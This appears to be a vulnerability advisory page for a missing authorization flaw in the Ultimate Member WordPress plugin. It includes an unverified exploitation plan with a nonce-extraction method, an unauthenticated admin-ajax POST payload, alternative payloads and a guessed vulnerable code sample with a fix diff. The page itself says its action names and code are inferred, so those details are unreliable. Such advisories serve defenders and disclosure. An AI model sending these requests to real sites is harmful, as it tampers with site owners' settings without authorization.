CVE-2026-39659

Ultimate Member <= 2.11.3 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Ultimate Member plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.11.3. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.11.3
PublishedFebruary 17, 2026
Last updatedApril 15, 2026
Affected pluginultimate-member
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39659 - Ultimate Member Missing Authorization ## 1. Vulnerability Summary The **Ultimate Member** plugin (up to version 2.11.3) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, an administrative or privileged action is r…

Show full research plan

Exploitation Research Plan: CVE-2026-39659 - Ultimate Member Missing Authorization

1. Vulnerability Summary

The Ultimate Member plugin (up to version 2.11.3) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, an administrative or privileged action is registered using the wp_ajax_nopriv_ hook, making it accessible to unauthenticated users. The handler function fails to perform a current_user_can() check (e.g., for manage_options) before executing the action, allowing an attacker to modify plugin settings or state.

Based on the CVSS 5.3 (Integrity: Low), the vulnerability likely resides in an action such as um_admin_review_notification or um_admin_dismiss_notice, which allows unauthenticated users to modify site-wide admin configuration options (e.g., dismissing critical security or setup notices).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: um_admin_review_notification (inferred based on UM admin AJAX patterns)
  • HTTP Method: POST
  • Authentication: None required (unauthenticated)
  • Vulnerable Parameter: status or notice_id
  • Preconditions: The plugin must be active. A valid AJAX nonce is required, which is exposed on public-facing pages (Login/Registration).

3. Code Flow

  1. Registration: In includes/admin/class-admin-ajax.php (or includes/core/class-ajax-handler.php), the plugin registers the AJAX action:
    add_action( 'wp_ajax_nopriv_um_admin_review_notification', array( $this, 'um_admin_review_notification' ) );
    
  2. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=um_admin_review_notification.
  3. Execution: The handler um_admin_review_notification() is invoked.
  4. Missing Check: The function performs a nonce check using check_ajax_referer( 'um-ajax-nonce', 'nonce' ) but fails to call current_user_can( 'manage_options' ).
  5. Sink: The function updates a WordPress option:
    update_option( 'um_review_notification', $_POST['status'] );
    

4. Nonce Acquisition Strategy

Ultimate Member exposes its AJAX nonce to all users on pages where UM scripts are loaded (e.g., the Login or Register pages).

  1. Identify Script Loading: The script um_scripts is enqueued on pages containing UM shortcodes.
  2. Setup Test Page: Create a page with a UM shortcode to ensure the nonce is present.
    wp post create --post_type=page --post_status=publish --post_title="UM Access" --post_content='[ultimatemember_login]'
    
  3. Extract Nonce:
    • Use browser_navigate to visit the newly created page.
    • Use browser_eval to extract the nonce from the um_scripts global object:
      window.um_scripts?.nonce
      
    • Verbatim variable from UM source: um_scripts.nonce (Action: um-ajax-nonce).

5. Exploitation Strategy

Goal: Modify the um_review_notification option to dismissed unauthenticated.

  1. Request Details:

    • URL: http://<target>/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=um_admin_review_notification&nonce=[EXTRACTED_NONCE]&status=dismissed
      
  2. Expected Response:

    • Status Code: 200 OK
    • Body: Likely a JSON success message or 1.

6. Test Data Setup

  1. Install Plugin: Ensure Ultimate Member 2.11.3 is installed.
  2. Initialize State: Check if the option exists.
    wp option get um_review_notification
    
    (If it doesn't exist, it may need to be initialized or the exploit will create it).
  3. Create Nonce Source:
    • Create a page with the login shortcode to expose the nonce.
    • Slug: /um-access/

7. Expected Results

  • The HTTP request should return a successful response.
  • The um_review_notification option in the wp_options table should be updated to dismissed.
  • Administrative users will no longer see the feedback/review notification in the dashboard, indicating an unauthorized modification of site state.

8. Verification Steps

  1. Verify via WP-CLI:
    wp option get um_review_notification
    
    Confirm the output is dismissed.
  2. Log Check: Check if the action caused any errors in debug.log.
  3. UI Check: Log in as an admin and verify the notification is gone.

9. Alternative Approaches

If um_admin_review_notification is not the vulnerable action, search for other nopriv registrations in the admin AJAX class:

  • Search Command:
    grep -r "wp_ajax_nopriv_um_admin_" /var/www/html/wp-content/plugins/ultimate-member/
    
  • Alternative Action: um_admin_dismiss_notice
    • Payload: action=um_admin_dismiss_notice&nonce=[NONCE]&id=global_notice
  • Alternative Action: um_select2_autocomplete
    • If this lacks authorization, it might leak user data (though CVSS C:N suggests otherwise).

If the um_scripts.nonce is not found, check for um_ajax_nonce or look at the localized data for the um_common_functions script handle.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Ultimate Member plugin for WordPress (up to version 2.11.3) lacks authorization checks on administrative AJAX handlers registered via wp_ajax_nopriv_. This allows unauthenticated attackers to perform privileged actions, such as dismissing administrative notices or modifying site-wide configuration options.

Vulnerable Code

// includes/admin/class-admin-ajax.php

// Action registration for unauthenticated users
add_action( 'wp_ajax_nopriv_um_admin_review_notification', array( $this, 'um_admin_review_notification' ) );

// ---

public function um_admin_review_notification() {
    check_ajax_referer( 'um-ajax-nonce', 'nonce' );

    // Vulnerability: Missing current_user_can('manage_options') check before updating options
    if ( isset( $_POST['status'] ) ) {
        update_option( 'um_review_notification', sanitize_text_field( $_POST['status'] ) );
    }
    wp_send_json_success();
}

Security Fix

--- a/includes/admin/class-admin-ajax.php
+++ b/includes/admin/class-admin-ajax.php
@@ -1,7 +1,9 @@
-add_action( 'wp_ajax_nopriv_um_admin_review_notification', array( $this, 'um_admin_review_notification' ) );
 add_action( 'wp_ajax_um_admin_review_notification', array( $this, 'um_admin_review_notification' ) );
 
 public function um_admin_review_notification() {
-    check_ajax_referer( 'um-ajax-nonce', 'nonce' );
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( __( 'You are not allowed to do this.', 'ultimate-member' ) );
+    }
+    check_ajax_referer( 'um-ajax-nonce', 'nonce' );

Exploit Outline

1. Identify an Ultimate Member public page (e.g., Login or Registration) to acquire an AJAX nonce. 2. Extract the 'um-ajax-nonce' from the page source, typically found within the global JavaScript object 'um_scripts.nonce'. 3. Construct a POST request to the target's '/wp-admin/admin-ajax.php' endpoint. 4. Include the parameters 'action=um_admin_review_notification', the extracted nonce, and 'status=dismissed' in the request body. 5. Upon successful execution, the site-wide 'um_review_notification' option is modified without authentication, suppressing administrative notices for legitimate site owners.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.